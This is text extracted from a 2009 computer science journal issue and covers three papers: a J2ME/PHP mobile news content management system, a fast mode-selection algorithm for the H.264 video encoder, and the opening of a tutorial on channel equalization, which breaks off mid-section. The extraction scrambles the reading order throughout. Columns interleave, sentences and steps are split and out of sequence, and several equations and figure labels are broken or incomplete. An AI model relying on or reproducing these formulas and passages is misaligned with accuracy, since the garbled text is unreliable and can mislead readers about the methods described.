The server-side PHP/MySQL based application.
V. COMMUNICATION Wireless content management is a client – server architecture based system, the information flow is not standalone, rather it goes through the network and hence a communication media is needed. The J2ME MIDLets can operate over, and make use of the WAP stack to perform HTTP network interaction, without requiring TCP/IP. Since the server application resides on a remote machine a connection needs to be established between the mobile device and the remote server which can be accomplished with the use of the phones with GPRS connection.
1.
Client Side The client-side system is a MIDlet application which serves as an interface to feed in the contents and control instructions which is interpreted on the server and the appropriate action is taken. The MIDlet has the task of creating textual news contents, Creating media contents as well as editing and updating textual news contents. The news creation task is done through a data entry interface which contains various sections to be filled. Once done the data is uploaded to the server and stored in the database server.
VI. SYSTEM IMPLEMENTATION The application begins working from the MIDlet which is the source for input of news content. As the MIDlet is opened a welcome screen is encountered which is followed by a Login Form. Login Form becomes important because of the fact that the system will be used for administration and will require entry into a restricted area of the web-site.
The media news capture is the most important section of the MIDlet application. It has options to capture pictures, audios as well as videos for the devices that support it. These media can then be uploaded to the server and stored in a particular directory structure. Another most important section of the MIDlet is the News Manager, i.e., the section that helps
Once the user is authenticated properly the main menu becomes visible and the user can perform the required operations. Once the data is filled completely the upload
79
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. XXX, No. XXX, 2009
button can be pressed to bring us to the next screen where the confirmation of data is made. Once done we can send the data to the server by pressing the start button.
for creating the text multimedia message. Users can upload their audio and image files using this module. 3) Message Viewer: Message Viewer is used to view the uploaded messages on the main page of the Server site. The messages are arranged as descending order according their upload time with the attached image. The message title has the link which leads to the separate page for viewing the full message.
The media creation handles the creation of multimedia files, such as, pictures, audios and videos. The camera is initialized by use of various APIs in the MMAPI, e.g., JSR135. Once the file is created it is transferred over the http to the remote server as multipart/form-data. The News Manager, i.e., the editing and updating section of the application is one of the most important sections. Once the update section is opened the user is provided with a screen where he can enter search keyword as well as the search type such as title, news text or author name. Accordingly the search is performed on the server and all results matching the criteria are fetched. Since the size of the mobile screen is small the data is broken into segments, each containing five types of news in full. This news segment of five is then transmitted to the MIDlet from the server in xml format. In case when more pages exist, the news manager has an extra command option “NEXT” to jump onto the next page else the option is not available.
Client Modules 1) Message Creator: Message Creator is used to create the message using the mobile phone. This module divided into three sub modules namely Text Message Creator, Multimedia Content Creator and Message Uploader. These sub modules described below. Text Message Creator - has the form for getting the Message Title, Content, and Place and Category information. In this form if the specified message categories already exist on the server, then the uploaded message will placed under the specified category on the server web site. Multimedia Content Creator - has the forms for capturing the image using the mobile phone camera and record the audio using the mobile phone microphone. The captured image stored locally on the mobile in the format of jpeg. The recorded audio stored in the format of mp3. 2) Message Up Loader: This Message up loader is used to upload the text and the multimedia content to the server. This module has the form which shows the progress of the upload status using the Gauge control. The text message has the higher priority, so it uploaded first, then the multimedia content uploaded finally. This module has the menu option for saving the uploaded message locally with the attachment. 3) RSS Reader: RSS Reader module is used to view the contents of the server. The messages on the server are arranged under message categories. This form displays the categories on the mobile screen. The message titles are displayed when the user clicked the category. The full message without the attachment is displayed when the user clicks the message title. 4) Message Editor: Message Editor is used to edit the previously stored messages and upload the edited messages to the server. If the already stored the created messages then the new menu item is created with the name of “Saved Items” on the main menu. This menu used to traverse the previously stored messages. 5) Configurator: Configurator has the form to get the User Name, Password and Server URL from the server. This form displayed as the first page when the user uses this software for the first time. This information will be modified via the “Edit Data” menu.
The use of xml is governed by the kXML parser which is a low footprint xml parser for mobile devices. The client application discussed above was tested on the emulator provided by J2ME wireless toolkit version 2.2 using JAVA SDK 1.4.2_12. Together with the client-server based system working between the mobile device and the server there is another webbased mobile independent part of this application. This is the website which allows the user to look through various news contents. There is an admin interface as well for managing few features of the news like activating /deactivating the news from being viewed and also for deleting. Along with all these there is an installation of PHP script, which allows the user to properly configure the server side of the application and set it up properly with ease. The server side of the application is implemented using PHP 5.2 as the language and MySQL 4.1 as the database server with the use of apache 2.0.8 (for windows) as web-server. VII. SYSTEM DESIGN AND RESULT ANALYSIS 1.
Server Modules 1) User Registration: User Registration has the screens for registering new users for uploading messages to the server. The registration form gets the information from the user such as first name, last name, user name, password and etc. The new users will informed if they made any errors when they fill the form. If the required information is filled then the new user registration conformed to “registration successful” message. 2) Message Creator: Message Creator has the screens for creating the messages on the web server via the web interface. The users can use the different styles like the windows word
80
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. XXX, No. XXX, 2009
is in progress which is a more generalized mobile CMS and eligible for a large scale deployment. More functions can be added from the prototype design to achieve game content, animation content and movie content. The CMS can also be extended to CDMA technology to support various group of mobile phones. In future, we can think of downloading the content from server to client device for later offline use
[1]
[2] [3] [4]
[5]
REFERENCES Wireless Content Management (WiCoM) for Mobile Device Vikram Kumar [email protected], Koushik Majumder [email protected], School of Information Technology West Bengal University of Technology, BF-142, Sector I, Salt Lake Kolkata-700064 Symbian OS, the Mobile Operating System, http://developer.symbian.com/main/oslibrary/indin.jsp Nokia Symbian OS Basics Nokia Developer Training Course Pack, http://www.nokia.com/ C. Enrique Ortiz, Generic Connection Framework,http://developers.sun.com/techtopics/mobility /midp/articles/genericframework/ kXML Project, http://kxml.sourceforge.net/.
Figure 3. J2ME Display
VIII. CONCLUSION In this paper we have presented a multimedia application developed using java micro edition, PHP/MySQL on the server side. The use of XML was a good idea keeping in mind the future scope of the project. The application is one of its kinds and finds huge application in news reporting agencies and e-commerce sites. An advanced version of the application
81
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Enhanced Mode Selection Algorithm for H.264 encoder for Application in Low Computational power devices Sourabh Rungta
Neeta Tripathi
CSE Department. RCET, Durg, India. E-mail: [email protected]
ECE Department. RSRCET, Durg, India. E-mail: [email protected]
Kshitij Verma
Anupam Shukla
ABV-IIITM, Gwalior, India. Email: [email protected]
ICT Department. ABV-IIITM, Gwalior, India. E-mail: [email protected]
techniques such as 4x4 integer transform, inter-prediction with variable block-size motion compensation, motion vector of quarter-pel accuracy, in-loop deblocking filter, improved entropy coding such as context-adaptive variablelength coding (CAVLC) and content-adaptive binary arithmetic coding (CABAC), enhanced intra-prediction, multiple reference picture, and the forth. Due to this new features, encoder computational complexity is extremely increased compared to previous standards. This makes H.264/AVC difficult for applications with low computational capabilities (such as mobile devices). Thus until now, the reduction of its complexity is a challenging task in H.264/AVC.
Abstract— The intent of the H.264/AVC project was to create a standard capable of providing good video quality at substantially lower bit rates than previous standards without increasing the complexity of design so much that it would be impractical or excessively expensive to implement. An additional goal was to provide enough flexibility to allow the standard to be applied to a wide variety of applications. To achieve better coding efficiency, H.264/AVC uses several techniques such as inter mode and intra mode prediction with variable size motion compensation, which adopts Rate Distortion Optimization (RDO). This increases the computational complexity of the encoder especially for devices with lower processing capabilities such as mobile and other handheld devices. In this paper, we propose an algorithm to reduce the number of mode and sub mode evaluations in inter mode prediction. Experimental results show that this fast intra mode selection algorithm can lessen about 75% encoding time with little loss of bit rate and visual quality.
As recent multimedia applications (using various types of networks) are growing rapidly, video compression requires higher performance as well as new features. H.264 emerged as the video coding standard with enhanced video compression performance when compared to other existing coding standards. It outperforms the existing standards typically by a factor of two. Its excellent performance is achieved at the expense of the heavy computational load in the encoder. H.264/AVC has gained more and more attention; mainly due to its high coding efficiency (the average bitrate saving up to 50% as compared to H.263+ and MPEG-4 Simple Profile), minor increase in decoder complexity compared to existing standards, adaptation to delay constraints (the low delay mode), error robustness, and network friendliness.
Keywords:- H.264, RDO, Inter-Frame Prediction, SubMode Selection. I
INTRODUCTION
H.264 is the emerging video coding standard with enhanced compression performance when compared to other existing coding standards to achieve outstanding coding performance, H.264/AVC employs several powerful coding
H.264/AVC employs several powerful coding techniques such as 4x4 integer transform, inter-prediction with variable
82
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
II
block-size motion compensation, motion vector of quarterpel accuracy, in-loop deblocking filter, improved entropy coding such as context-adaptive variable-length coding (CAVLC) and content-adaptive binary arithmetic coding (CABAC), enhanced intra-prediction, multiple reference picture, and the forth. Note that DCT coefficients of intraframes are transformed from intra prediction residuals instead of transforming directly from original image content. Especially, for the inter-frame prediction, H.264 allows blocks of variable size seven modes of different sizes in all, which are 16x16, 16x8, 8x16, 8x8, 8x4, 4x8 and 4x4, that can be used in inter-frame motion estimation/compensation. These different block sizes actually form a one or two level hierarchy inside a macroblock are supported along with the SKIP mode [1], as shown in Figure 1. Hence the computational complexity of motion estimation increases considerably as compared with previous standards. This is one major bottleneck for the H.264 encoder. 16
16
0
0
8
0
8x8
0
0
1
1
2
3
The two coding modes in H.264 are intra-frame coding and inter-frame coding. Intra-frame coding supports two classes which are denoted as Intra4x4 and Intral6x16. When the subsequent frames of the video sequence have comparably large difference among them (such as in case of scene change), Intra-frame coding [1] would be selected in order to achieve outstanding coding performance, many advanced techniques are used. In these techniques, intra mode plays a vital role because it can eliminate spatial redundancy remarkably. In luma component, intra prediction is applied for each 4×4 block and for a 16×16 macroblock. There are 9 modes for 4×4 luma block, 4 modes for 16×16 luma block and 4 modes for 8×8 chroma block. In order to obtain the best coding performance, a very time-consuming technique named RDO (rate distortion optimization) is used. It computes the real bit-rate and distortion between original and reconstructed frames for each mode. Then it calculates the RDcost based on Lagrangian rate distortion formula. The mode which has the minimum RD cost will be chosen as the final coding mode. Therefore, the computational load of this kind of exhausting searching algorithm is not acceptable for real-time applications.
1
16x8
8x16
16x16
16
8 4
8
INTRA- AND INTER-FRAME SELECTION
4
Inter prediction uses block-based motion compensation and it creates a prediction model from one or more previously encoded video frames or fields used. Encoding a motion vector for each partition can cost a significant number of bits, especially if small partition sizes are chosen. Motion vectors for neighboring partitions are often highly correlated and so each motion vector is predicted from vectors of nearby, previously coded partitions. A predicted vector, MVp, is formed based on previously calculated motion vectors and MVD, the difference between the current vector and the predicted vector, is encoded and transmitted. The method of forming the prediction MVp depends on the motion compensation partition size and on the availability of nearby vectors. H.264 supports a range of block sizes (from 16×16 down to 4×4) and fine subsample motion vectors (quartersample resolution) which are not supported by earlier standards. Inter-frame selection supports the following modes: SKIP, 16x16, 16x8, 8x16, 8x8, 8x4, 4x8 and 4x4. The mode decision is made by choosing the mode having minimum RDO cost [2].
8x8
4
0
0
0
1
1
2
3
1
4x8
8x4
8x8
Figure 1.Macroblocks and Sub-macroblock partitions.
H.264 supports various intra-mode and inter-mode prediction techniques among which most of them contribute to the coding efficiency. Lagrangian RDO method is used to select the best coding mode of intra and inter prediction with highest coding efficiency [4]. In Inter prediction treestructured multi-block sizes i.e. seven modes with different block sizes is supported by this standard. H.264 tests the encoding process with all possible coding modes of intercoding, and calculates their RD costs to choose the mode having the minimum cost. RDO technique involves a lot of computations. The reference implementation [7] of H.264 uses a brute force search for inter mode selection which is extremely computational constraining. Therefore there is an obvious need for reducing the amount of modes that are evaluated in order to speed up the encoding and hence to reduce the complexity of the encoder.
J(s, c, MODE|λ MODE ) = SSD(s, c, MODE|QP) + λ MODE x R(s, c, MODE|QP). Where J(s, c, MODE|λ MODE ) represents the mode cost, QP denotes Quantization Parameter, λ MODE is the Lagrange multiplier [4] for mode decision, MODE indicates a mode chosen from the set of potential macroblock modes: {SKIP, 16 X 16, 16 X 8, 8X16, 8X8, 8X4, 4X8, 4X4, Intra_4 X 4,
83
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Intra 16 X 16}, SSD represents the Sum of Squared Differences between the original block s and its reconstruction c.
dynamically every frame, we let this cut set equal to the probability of LMB. So we have Correct Ratio is the probability of the MB classification to predict the same optimal encoding mode obtained from exhaustive mode selection, HMBErrRatio reflects the probability for HMBs to be mistakenly categorized as LMBs, while the LMBErrRatio reflects the probability for LMBs to be mistakenly categorized as HMBs. Compared with the classification accurate ratio of FMMS in, our algorithm shows the robust over all kinds of sequences with different motion and other features.
SSD(s, c, MODE|QP) = [x, y]-Cy[x, y, MODE|QP]) 2 [x, y]-Cu[x, y, MODE |QP]) 2 +
[x, y]-Cv[x, y, MODE |QP]) 2
Decision IV: A MB is determined to be an LMB when the , and if the is weighted sum is lower than higher than the minimum of , the MB is determined to be a true HMB. Otherwise, we need to further classify its motion character. Here a motion classifier is continuing used to determine if the MB contains complex motion information or simple motion information. By combining two types of classifiers, each MB can be efficiently categorized to different mode and motion search paths, which significantly reduces encoder complexity of H.264 for all types of content. Our fast mode decision algorithm consists of the following steps: Step1: If the MB is in the first row or column of a frame, test all possible modes, select the best one, then exit.
where Cy[x,y,MODE|QP]) and Sy[x,y] represent the reconstructed and original luminance values; Cu, Cv and Su,Sv indicate the corresponding chrominance values, and R(x,y,MODE|QP) is the number of bits associated with choosing MODE, including the bits for the macro-block header, the motion, and all DCT coefficients.
III THE PROPOSED IMPROVEMENT OF FAST INTERMODE SELECTION ALGORITHM FOR H.264 The proposed algorithm, as shown in Figure 2, first checks the skip condition and then makes the decision between the Class 16 and Class 8 modes based on the factors - homogeneity and temporal movement [8]. Once the class is decided, with in the class then it uses sub-mode selection algorithm [7] to decide the best mode among the sub-modes.
Step2: Each MB is categorized by a probability classifier. If the predict mode is included in the HMBs, go to Step 4. Otherwise, go to Step 3.
Decision I: Compute the MB difference ∆ for the current macro block. If ∆ is very large (∆> int er ) then intra mode selection is preferred.
Step3: Check the mode of INTER8 × 16 and INTER16 × 8. Go to Step 9. Step4: For B picture, calculate the RD cost of direct mode. If it is lower than the threshold, which is defined as the minimum of neighboring MBs, skip all other modes and go to step 11. Otherwise, If the predict mode is included in the TRUE HMBs, go to Step 10, otherwise go to Step 5.
Decision II: In this decision we first check the condition for the SKIP mode. If the current 16x16 block has no movement, i.e. ∆ = 0 or ∆≤ SKIP then SKIP mode is the best mode. Decision III: Once SKIP is ruled out, we make a decision between Class 16 and Class 8 modes. Here we check the homogeneity of the block. If the macro block is homogeneous then Class 16 is chosen else Class 8 is chosen. The homogeneity of the macro block is determined by the Probability Based Macroblock Mode Selection. Let P denote the probability of the current MB, then we have
Step5: To categorize the MB with a motion classifier. If it has complex motion content, go to step 6. Otherwise, go to Step 8. Step6: Check mode INTER8 × 8, INTER8 × 4, INTER4 × 8, INTER4 × 4. If there are more than two sub-macroblock modes are not INTER8 × 8, go to step 9. Otherwise, go to Step 7. Step7: Check mode INTER16×16, INTER16×8 and INTER8×16. If any mode cost is more than INTER8×8 or the three modes have been tried, go Step 11. Step8: Check mode INTER16×16 and INTER16×8, if cost16×16 < cost16×, go to Step 9. Otherwise, check all the other Inter modes.
cut set with is used to determine A the category which current MB belongs. Because we can get the probability of all modes, which are computed
Step9: Check INTRA16 × 16 and INTRA4 × 4.
84
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Step10: Check INTER16 × 16 and INTER8 × 8. Step11: Record the best MB mode and the minimum RD cost.
85
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Δ<<ψ Decision I INTRA -MODE
Δ<<ψ (SKIP)
Decision II
SKIPMODE ∑φ<<ψH (16)
Decision III Class 16
16x16
16x8
Class 8 ∑φ<<ψH
8x16
Decision IV
Sub-mode selection Algorithm 4x4 8x8
8x4
4x8
Δ: MB difference Ψ: Threshold
Sub-mode selection Algorithm
Figure 2: Decision Diagram (If the decision is yes, move to the left branch, else move to the right branch)
86
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
IV
EXPECTED RESULTS
H.264 reference software JM8.6 [7] is applied as platform for evaluating the performance of the improved algorithm. We selected four representative QCIF video sequences i.e. Container, Foreman, Salesman and Coastguard as our test sequences.
The experimental results are shown in the Table 1. From Table 1, it is inevitable that the proposed algorithm reduces the encoding time for the four test sequences. Compared with the coding time of JM8.6 encoder, the coding time reduces by (88.92) % for slow motion videos, where as, it reduces by (70.1) % for fast motion videos. The PSNR degradation is up to (0.04 db) which is invisible to human eye and the data bits are increased up to (0.93) %.
TABLE I. SIMULATION PARAMETERS
MV Search Range 16 GOP IPPP Codec JM 8.6 QP 28, 32, 36, 40 ProfileIDC 66, 30 Hadamard Transform Used Entropy Coding Method CAVLC Size QCIF Threshold set for 16×16: 20000 Homogenity 8×8: 5000 TABLE II.SIMULATION RESULTS FOR IPPP TYPE SEQUENCES ∆Time (%)
∆PSNR (dB)
∆Rate (%)
container_qcif.yuv
-86.69
-0.04
0.40
salesman_qcif.yuv
-77.16
-0.03
0.91
foreman_qcif.yuv
-69.50
-0.10
1.38
coastguard_qcif.yuv
-62.63
-0.07
1.22
Video Sequences
V
CONCLUSION
In this paper we proposed a fast inter mode selection algorithm based on the homogenous and temporal stationary characteristics of the video object and a procedure to select best submode. Verified by the fast, mild and slow motion sequences, our method could reduce the computational complexity of the H.264/AVC encoder by choosing the best mode judiciously. Average time reduction is about 75% in IPPP sequence. Moreover, our algorithm can maintain the video quality without significant bit-rate loss. It is helpful for the real-time implementation of the H.264 encoder and useful for the low-power applications of video coding. VI
REFERENCES
[1]. ThomasWiegand, Gary J. Sullivan, Senior Member, IEEE, Gisle Bjøntegaard, and Ajay Luthra, Senior Member, IEEE. Overview of the H.264/AVC Video Coding Standard. [2]. Yun Cheng, Kui Dai, Jianjun Guo, Zhiying Wang, Minlian Xiao. Research on Intra Modes for Inter-Frame Coding in H.264 presented The 9th Intemational Conference on Computer Supported Cooperative Work in Design Proceedings. [3]. Iain E.G. Richardson. H.264 and MPEG-4 Video Compression, Wiley2004. [4]. Jeyun Lee and Byeungwoo Jeon. Fast Mode Decision for H.264 with Variable Motion Block Sizes. Springer - Verlag, LNCS 2869, pages 723730, 2003. [5]. Iain E.G. Richardson. Video Codec Design, Wiley 2002. [6]. Zhi Zhou and Ming-Ting Sun. Fast Macroblock Inter Mode Decisionand Motion Estimation for
The test conditions [12] are shown in Table1.We used four Quantization Parameters while conducting the experiments on the test sequences, i.e. QP = 28, QP = 32, QP = 36 and QP = 40. The coding parameters used to evaluate the efficiency are ∆T, change of average PSNR – ∆PSNR and change of average date bits - ∆Bitrate. T ref is the coding time used by JM8.6 encoder. Let T proposed be the time taken by the proposed algorithm. The ∆T % is defined as
87
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
H.264/MPEG- 4 AVC. Proceedings of IEEEInternational Conference on Image Processing, ICIP 2004, Singapore,pages 789-792, 2004. [7]. H.264 Reference Software Version JM6.1d, http://bs.hhi.de/∼ suehring/tml/, March 2003. [8]. Mehdi Jafari, Islamic Azad University, Shohreh Kasaei, Sharif University of Technology. Fast Intra- and Inter- Prediction Mode Decision in H.264 Advanced Video Coding. [9]. D. Wu, S. Wu, K. P. Lim, F. Pan, Z. G. Li, X. Lin. Block Inter Mode Decision for Fast Encoding of H.264. Institute for Infocomm Research (I2R) Agency for Science Technology and Research (A*STAR). [10]. Iain Richardson and Yafan Zhao. Video Encoder Complexity Reduction by Estimation Skip Mode Distortion. Proceedings of IEEE International Conference on Image Processing, ICIP 2004, Singapore, pages 103- 106, 2004. [11]. Keman Yu, Jiangbo Lv, Jiang Li and Shipeng Li. Practical Real-TimeVideo Codec for Mobile Devices. Proceedings of 2003 IEEE InternationalConference on Multimedia and Expo, ICME 2003, USA, pages 509-512, 2003. [12]. Gary Sullivan, “Recommended Simulation Common Conditions for H.26L Coding Efficiency Experiments on Low Resolution Progressive Scan Source Material,” VCEG-N81, 14th meeting: Santa Barbara, USA. Sept. 2001. [13]. Iain Richardson H.264 and MPEG-4 Video Compression Video Coding for Next-generation Multimedia. [14]. ISO/IEC 14496-10 and ITU-T Rec. H.264, Advanced Video Coding, 2003. [15]. A. Hallapuro, M. Karczewicz and H. Malvar, Low Complexity Transform and Quantization – Part I: Basic Implementation, JVT document JVT-B038, Geneva, February 2002. [16]. Zhenyu Wei, Hongliang Li and King Ngi Ngan, An Efficient Intra Mode Selection Algorithm For H.264 Based On Fast Edge Classification. Proceedings of 2007 IEEE International Symposium on Circuits and Systems, 2007, ISCAS 2007, New Orleans, LA, pages 36303633, 2007.
AUTHOR’S PROFILE Anupam Shukla was born on 1st January 1965, at Bhilai (CG). He is presently working as an Associate Professor (Information Communication & Technology Deptt) at Atal Bihari Vajpayee Indian Institute of Information Technology & Management,(ABVIIITM), Gwalior (MP). He completed PhD (Electronics & Telecommunication) in the area of Artificial Neural Networks in the year 2002 and ME (Electronics & Telecommunication) Specialization in Computer Engineering in the year 1998 from Jadavpur University, Kolkata. He stood first position in the niversity and was awarded with gold medal. He completed BE (Hons) in Electronics Engineering in 1988 from MREC, JaipurHe has teaching experience of 19 years. His research area includes Speech recognition, Artificial neural etworks, Image Processing & Robotics. He published around 57 papers in national/international journals and conferences. Sourabh Rungta is presently working as an Reader (Computer Science and Engineering Departtment) in RCET, Durg (CG). He completed M.Tech (Hons) in 2004. He completed BE in 1998. He has teaching experience of 5 years. He published around 5 papers in ational/international conferences and journals. Neeta Tripathi is principle of RCET, Durg. She has eaching experience of 20 years. She published around 30 papers in National/international conferences and journals. Her contributed research area includes speech recognition. Kshitij Verma is presently pursuing M.E.in VLSI Design from SSCET,Bhilai(C.G.) He completed BE in Electronics And Telecommunication in 2005 from RCET,Bhilai(C.G.).
88
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
Channel Equalization in Digital Transmission Kazi Mohammed. Saidul. Huq #1, Miguel Bergano#1,Atilio Gameiro #1, Md. Taslim Arefin *2 #
Institute of Telecommunications Aveiro, Portugal [email protected]
*
Lecturer, Dept. of Computer Science and Engineering University of Development Alternative (UODA) Dhanmondi, Dhaka-1209, Bangladesh. 2
Abstract— Channel equalization is the process of reducing amplitude, frequency and phase distortion in a radio channel with the intent of improving transmission performance. Different types of equalizers, their applications and some practical example is given. Especially, in the digital communication scenario how equalization works is shown. This paper presents a vivid description on channel equalization in digital transmission system.
Figure 1: Elements of a communication System
In a real communication system the communication channel is not perfect, perturbations caused by imperfections on the transmission channel or interference from outside world, for example, can generate a bad functionality of the channel. Having these issues the channel will not perform a flat frequency response and linear phase shift mainly because of distortion. Interference and noise are contaminations that occur from other radio systems and from random electrical signals produced by natural processes, respectively. In order to perform a good way of conveying information from transmitter to receive the problems mentioned earlier should be considered in modeling a communication system. The main task in this procedure is to take the channel conditions and in some way invert it, or in other words, a channel can be mathematically estimated by a transfer function, at the output, or at the receiver, it would be a system with an inverse of that transfer function. Some problems arise in modeling the channel; issues like nonlinearity or time variance induce difficulties. All these mentioned issues are obstacles to approach an ideal frequency response of the communication system or to identify the channel characteristics exactly.
Keywords— ISI, Baseband, Passband, equalization
1.
[email protected]
INTRODUCTION
A communication system is basically a way of transmitting information trough a communication channel and usually associated with it are the transmitter and a receiver. The main function of it is to guarantee that information, or message, from the transmitter should be available at the receiver without perturbations. A communication system is completed when joining these three parts, the transmitter, the receiver and the communication channel. Examples of communication channels are telephone channels, coaxial cables, optical fiber, wireless broadcast channel, mobile radio channel and satellite channels. The signal to be transmitted could be analog or digital. The first one implies the use of fewer hardware on the receiver and transmitter, on the contrary digital signals need more hardware, although digital systems are more stable, flexible and more reliable. It should be noted, however, that we can implement much of an analog communication system using digital hardware and the appropriate ADC and DAC steps, and thereby secure an analog system many of the advantages of a digital system.
1.1. Digital Transmission A digital transmission performs digital messages that are basically ordered sequence of symbols produced by a discrete information source. Here the task is to transfer a digital message from the source to the destination. In an analog communication system problems like the channel frequency bandwidth and the signal to noise ratio cause errors that appear in the received message, similarly, signaling rate and
Ideally a system like this would work perfectly but due to imperfections of the channel it can be defined by a more complete diagram, represented in Fig. 1.
89
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
error probability play roles in digital communication namely in the output messages. Digital signal has usually a form of an Amplitude Modulated Pulse Train and are commonly expressed by:
x(t) = ∑ ak p (t − kD) (1) k
where ak represents the modulated amplitude of each symbol k, D is for pulse duration or pulse to pulse interval and p(t) is the unmodulated pulse that has the values 1 or 0 periodically. In the case of binary signaling D indicates bit duration so D=Tb, and the bit rate is rb=1/Tb measured in symbols per second or baud. Digital PAM signals can take several formats, basically a simple on off with a defined duration generates a format called RZ (return to zero), but others exist like NRZ (Non return to Zero), both polar having a DC component that Figure 2: Binary PAM formats wastes power, an alternative is bipolar NRZ or split-phase Manchester or even quaternary. In a transmission process there are several perturbations, noise contamination cross talk Always associated in all these formats are the noise reduction or spill over from other signals a phenomena described as ISI by introducing a filter, this filter should not introduce ISI, like – Inter Symbol Interference – that basically is a form of showed in Fig. 3. distortion of signals in which symbols interfere with subsequent symbols. Reducing the bandwidth of filter will reduce noise but would increase the ISI, for that Nyquist stated that the symbol rate r must be lower than the twice of channel bandwidth. r ≤ 2B (2) On the list of the digital transmission limitations is obvious the channel, so to approach an ideal frequency response the channel must be equalized. The equalizer is usually inserted between the receiver and the channel regenerator. With this, it will increase the knowledge of the channel characteristics that sometimes results in some residual ISI. An equalizer is based on the structure of a transversal filter, like it will be shown later.
Figure 3: Baseband transmission system
The amplifier compensates losses in the channel and the filter LPF removes out of band contaminations, the output message is the recovered message from the digital signal. To transmit in longer distances passband digital transmission is used, and requires modulation methods applied in analog signals. Digital information has a lot of ways to be performed in a carrier wave, it can modulate amplitude, frequency or phase of a sinusoidal carrier waive.
1.2. Baseband and passband digital transmission
Any modulated passband signal may be expressed in the quadrature-carrier form:
At baseband a digital message is represented by a PAM and expressed like equation (1). Above the modulated forms that a baseband signal can take was already mentioned, RZ, NRZ(NRZ-L, NRZ-M, NRZ-S), Bipolar, Biphase (Biphase-L, Biphase-M, Biphase-S), Differential Manchester:
x c (t) = Ac [x i (t)cos(wc t + θ ) − x q (t)sin(wc t + θ )] (3) The carrier frequency fc, amplitude Ac and phase are constant. The message is contained in the phase – i – and quadrature – q – components. An amplitude modulation (ASK – Amplitude Shift Keying) can be achieved simply using a NRZ signal, another example is QAM (Quadrature Amplitude Modulation) that achieves higher modulation speed. Phase Shits can also perform phase modulation often described as BPSK (Binary Phase Shift Keying, if the signal has four elements in the alphabet the modulation is QPSK (Quaternary Phase Shift Keying). An example of transmitter is in Fig. 4:
90
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
x(t) is for the output of the filter. At the receiver is the filter, with frequency response HR(t) or impulse response hR(t), a sampler and a comparator. So at the ouput it will be:
v(t) = y(t) ∗ hR (t) =
+∞
∑ Aa p (t − t k
r
d
− KTb ) + n 0 (t) (7)
k=−∞
The value A is a scale factor such that pr(0)=1, n0(t) is the noise component at the receiver filter output, and pr(t-td) is the pulse shape at the receiver filter output, delayed by an amount td due to filtering. Having all the information of the response of a communication system it is possible to develop forms to minimize problems in the system, like ISI and SNR reduction. Figure 4: QPSK Transmitter Zero ISI and and noise can be achieved by choosing the correct HT(f) and HR(f). The equations, given in [1][2], A frequency modulation (FSK – Frequency Shift Keying) is demonstrate that is a hard task to create such frequency obtained when the input signal x(t) selects the frequency of an responses mainly because of the channel conditions, in a oscillator. baseband transmission, or PAM, like a modem, it must have information about the channel. For passband transmission, 2. PRINCIPLES like cellular radio there are several obstacles to the transmission, or for microwave links that depend on the Previously was defined several concepts of digital atmosphere conditions. So the best filter to use at the receiver transmission systems, namely its limitations (bandwidth, noise, must be adjustable improving the performance of a distortion and ISI), and formats of transmitting (modulation) transmission. Such filter is called equalizer. There are two for baseband and passband transmission. In order to avoid the types of equalizers: preset and adjustable. The first one its issues related to these types of communications systems it parameters are determined by making measurements on the must properly designed. channel and determining these parameters using these measurements. The adaptive, is automatic, its parameters are adjusted by sending a known signal, called training signal.
Transmitter Filter
Source
Channel Filter
Equalizer
Figure 5: Ideal model of a communication System Figure 6: Block Diagram of PAM Communication System with equalization The signal source input has the regular input represented by (1) this time p(t) has the form of a unit pulse δ(t). The next The previous figure illustrates the process of equalization. The subsystem is transmission filter with low pass frequency overall frequency response is: response HT(f) or impulse response hT(t). The transmitted signal is given by: H ( f ) = H ( f )H ( f )H ( f ) (8)
x t (t ) =
+∞
∑ a δ(t − kT )∗ h k
k=−∞
b
T
(t) =
+∞
∑ a h (t − kT ) k T
b
0
(4)
k=−∞
Where the asterisk represents convolution. The channel can be considered as a filter, due to its bandwidth limitations and imposes a frequency response function HC(f) or impulse response hC(t) and additive Gaussian Noise represented by n(t). At the receiver will be:
y(t) = x(t) + n(t) (5) x(t) = x t (t) ∗ hC (t) (6)
T
C
E
In theory an equalizer should have an impulse response that is the inverse of that on the channel, and the design of this systems involves a compromise between ISI reduction and noise reduction of the channel. 3.
TYPES OF EQUALIZERS
3.1. Zero forcing The basic idea of a Zero-Forcing Equalization – ZFE – is to implement a filter (equalizer) that follows the channel response, or like already said, the channel filter. The system of
91
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
MMSE = E [(error) 2 ] (9)
a ZFE has a frequency response indicated in (8). Asuming that the first Nyquist critereon is satisfied by the sampler a ZFE is like a inverse filter, the inverse frequency response of the chanell frequency response and is usually approximated by a set of FIR filters like is presented in Fig. 7.
Analitically the error represents the difference between the desired value and the real value.
To formulate a set of FIR inverse filter coefficients, a training signal consisting of an impulse is transmitted over the channel. By solving a set of simultaneous equations based on the received sample values, a set of coefficients can be determined to force all but the center tap of the filtered response to 0. This means the N–1 samples surrounding the center tap will not contribute ISI. The main advantage of this technique is that the solution to the set of equations is reduced to a simple matrix inversion. The major drawback of ZFE is that the channel response may often exhibit attenuation at high frequencies around one-half the sampling rate (the folding frequency). Since the ZFE is simply an inverse filter, it applies high gain to these upper frequencies, which tends to exaggerate noise. A second problem is that the training signal, an impulse, is inherently a low-energy signal, which results in a much lower received signal-to-noise ratio than could be provided by other training signal types [3][6].
{
